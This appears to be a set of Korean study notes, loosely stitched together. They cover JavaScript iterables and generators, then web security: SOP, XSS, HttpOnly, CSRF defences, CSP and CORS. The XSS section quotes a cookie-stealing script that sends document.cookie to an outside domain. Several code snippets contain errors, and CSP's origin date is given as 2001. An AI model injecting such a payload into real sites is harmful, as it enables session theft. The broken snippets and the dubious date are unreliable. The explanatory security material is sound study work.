const reduce = (f, acc, iter) => { if (!iter) { iter = acc[Symbol.iterator](); acc = iter.next().value; } // parameter가 2 개만 들어왔을 경우 iter가 없는 경우이다. // 이 때는 자기 자신을 반환하는 iterable의 성질을 이용해서 iter를 만들어준다. for (const a of iter) { acc = f(acc, a); } return acc; };
const map = (f, iter) => { let res = []; for (const p of iter) { res.push(f(p)); } return res; }; console.log(document.querySelectorAll("*").map((ele) => ele.nodeName)); // 배열이 아니기 때문에 에러가 발생한다. console.log(map((el) => el.nodeName, document.querySelectorAll("*"))); // nodeList는 이터러블 프로토콜을 따르기 때문에 동작한다.
function* oods(l) { for (let i = 0; i < l; i++) { if (i % 2) yield i; } } let iter2 = oods(6); console.log(iter2.next()); // {value:1,done:false} console.log(iter2.next()); // {value:3,done:false} console.log(iter2.next()); // {value:5,done:false} console.log(iter2.next()); // {value:undefined,done:true}
또한 generator는 while을 이용하여 작성할 수 있다.
아래의 infinity는 무한수열을 만드는 generator이고 limit 함수는 l까지는 a를 yield하다가 l이 될 경우 return 하는 generator이다. infinity generator와 limit generator를 이용하여 odds generator도 새로 정의하였다.
// 배열 순회 const list = [1, 2, 3]; for (var i = 0; i < list.length; i++) { console.log(list[i]); } // 유사 배열 순회 const str = "abc"; for (var i = 0; i < str.length; i++) { console.log(str[i]); }
// 1 // 2 // 3 // a // b // c
for of
ES6에선 for of문이 추가되어 좀 더 명령형에서 선언형으로 바뀌었다. 인덱스로 직접 접근할 수 없는 리스트도 순회할 수 있다.
IteratorResult 객체는 done: boolean과 value: any 프로퍼티를 - 가진다.
이전 next 메서드 호출의 결과로 done 값이 true를 리턴했다면, 이후 호출에 대한 done 값도 true여야 한다.
Well-formed iterable
Iterator면서 Iterable인 객체를 Well-formed iterable이라고 한다. 즉 이터레이터의 이터러블이 자기 자신을 반환하면 Well-formed iterable이다.
Iterable/Iterator 프로토콜
Iterable을 for…of, 전개 연산자 등과 함께 동작하도록 한 규약이다.
for of의 동작원리
for of는 Iterable 객체에 사용할 수 있다.
for of를 호출하게 되면 Symbol.iterator를 통해 Iterator를 반환한다.
즉 for of는 Iterable/Iterator 프로토콜에 따라 동작한다.
1 2 3 4 5 6 7
const list = [1, 2, 3]; for (const a of list) { // for of는 Iterable/Iterator 프로토콜에 따라 동작한다. // 즉 반환된 Iterator의 value를 a로 참조한다. // done이 true가 되면 반복문을 빠져나온다. console.log(a); }
따라서 코드를 다음과 같이 수정할 수 있다.
1 2 3 4 5 6 7
let list = [1, 2, 3]; let iterator = list[Symbol.iterator](); while (1) { const { value, done } = iterator.next(); if (done === true) break; console.log(value); }
const map = newMap([ ["a", 1], ["b", 2], ["c", 3], ]); for (const a of map.keys()) console.log(a); // Map,Set의 key를 value로 하는 Iterator를 반환하는 메서드이다. // a // b // c for (const a of map.values()) console.log(a); // Map,Set의 value를 value로 하는 Iterator를 반환하는 메서드이다. // 1 // 2 // 3 for (const a of map.entries()) console.log(a); // Map,Set 전체를 value로 하는 Iterator를 반환하는 메서드이다. // ['a',1] // ['1',2] // ['1',3]
const a=[1,2=]; console.log([...a,...[3,4]]) ///[1,2,3,4]; a[Symbol.iterator]=null; console.log([...a,...[3,4]]) // Uncaught TypeError: a is not iterable
Iterable 프로토콜을 따르고 있기 때문에 Map,Set과 같은 여러 Iterable객체에 적용된다.
return ( <divonClick={onClick()}></div> // 즉시 실행되어서 e is undefined 에러가 발생한다. <divonClick={onClick}></div> // <div onClick={(e)=>{console.log(e.target)}></div> } ) }
SOP는 javascript가 해당 사이트 개발자가 설계한대로만 실행된다는 것을 전제로 타 도메인에 접근하지 못하게 하여 웹과 웹 간의 분리가 되는 샌드박스를 기대하며 설계하였다.
하지만 해커들은 Cross-site scripting (XSS) 취약점을 이용하여 브라우저 내의 쿠키를 포함한 정보들을 탈취할 수 있었다.
XSS 취약점은 웹사이트 관리자가 아닌 사람이 웹페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.
웹 개발자의 실수로 외부로부터 입력되는 파라미터에 대한 적절한 검증을 거치지 않고 페이지 내부에 포함하는 기능을 구현하였고, 해커는 이 기능을 악용하여 XSS 취약점으로 파라미터를 통해 정보를 탈취하는 악성 스크립트를 삽입하게 되면 스크립트는 피해자의 브라우저에서 실행되어 사용자 브라우저의 정보를 탈취할 수 있다.
예를 들어 공격자가 location.href='http://example.com?'+document.cookie 라는 스크립트를 삽입하게 되면 삽입한 스크립트는 피해자의 브라우저에서 실행되고 사용자의 쿠키값이 공격자가 설정한 도메인으로 전송된다.
Set-Cookie HttpOnly
Set-Cookie 응답헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용된다. Set-Cookie 헤더에는 XSS취약점을 이용한 공격을 방해하기 위한 HttpOnly 속성이 존재한다. HttpOnly 속성을 사용하면 javascript에서 document.cookie로의 접근을 차단한다.
하지만 단순하게 세션 ID가 포함된 쿠키 값에 대한 접근을 차단한다고 모든 문제가 해결되지는 않는다. XSS 취약점은 상황에 따라 Cross-site request forgery(CSRF) 취약점으로 발전할 수 있는 가능성이 있기 때문이다.
CSRF Token & CAPTCHA
CSRF 취약점이 발생하게 되면 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 수행하게 된다.
사용자의 의지와 상관없는 요청을 강제로 전송한다.
이를 예방하기 위해 중요한 행위를 수행하는 페이지에선 임의 랜덤값인 CSRF token을 이용하여 대응하거나 CAPTCHA를 이용하여 대응할 수 있다.
CSRF Token의 경우 요청 전 페이지에서 응답값을 가져와서 CSRF Token 추출후 같이 전송하면 우회할 수 있기 때문에 완전한 방어는 아니다.
이러한 문제를 해결하기 위해 사람인지 컴퓨터 프로그램을 통해 전송되는 요청인지 확인하는 기술인 CAPTCHA기술을 이용하여 차단할 수 있다.
CSP(Content Security Policy)
위의 정책들을 사용하더라도 여전히 공격자가 XSS 취약점을 통해 사용자의 브라우저에서 javascript를 실행할 수 있다.
2001년 XSS 취약점의 대응방안인 Content Security Policy(CSP)가 등장하였다.
브라우저에 로드되는 모든 컨텐츠에 제약을 두어 통제하는 보안정책이다. CSP는 공격자가 웹 내부에서 자바스크립트를 실행할 수 있더라도 특정 도메인의 리소스만 참조할 수 있게 하거나 리소스를 아예 참조 못하게 하는 등의 리소스에 대한 보안 정책을 설정하여 허가되지 않은 스크립트 로드 자체를 방지하는 보안 정책이다.
AJAX의 도입이후 프론트엔드 서버와 백엔드 서버를 따로 두어 개발하는 방법이 생겼다. SOP는 동일 출처 정책으로 동일한 출처의 리소스만 상호작용을 허용하는 정책이다. 두 URL의 프로토콜, 호스트, 포트가 모두 가아야 동일한 출처로 인정되고 웹사이트를 샌드박스화 하여 잠재적인 보안 위협으로부터 보호해주는 정책이다.
SOP가 존재하지 않을 경우 악의적인 javascript 코드를 만나게 될 경우 해커의 서버로 유저의 정보를 전송할 수 있다. 이러한 경우를 사전에 방지하기 위해 SOP가 존재한다.
CORS(Cross-Origin Resource Sharing)
어쩔 수 없이 다른 출처간의 상호작용을 해야하는 경우도 존재한다. CORS는 SOP의 예외 정책이다.
service.example.com에서 api.example.com으로 요청을 할 경우 HTTP 패킷을 통해 service.example.com의 프로토콜, 호스트, 포트 정보가 Origin 헤더를 통해 전송된다.
서ㅓ는Origin 헤더를 통해 요청이 전송된 사이트 정보를 알 수 있다.
1 2 3 4 5 6 7 8
GET /api/v1/test HTTP/1.1 Host: api.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive Origin: https://service.example.com
CORS 적용이 어려운 경우 curl이나 HttpUrlConnection,urllib,requests 등의 HTTP 모듈을 통해 서버에서 직접 응답값을 가져오도록 구현하는 경우가 있다. 이 경우 파라매터 검증에 더욱 신경을 써야한다. 요청을 변조할 수 있기 때문에 Command Injection 또는 SSRF(Server-side Request Forgery) 취약점이 발생할 수 있다.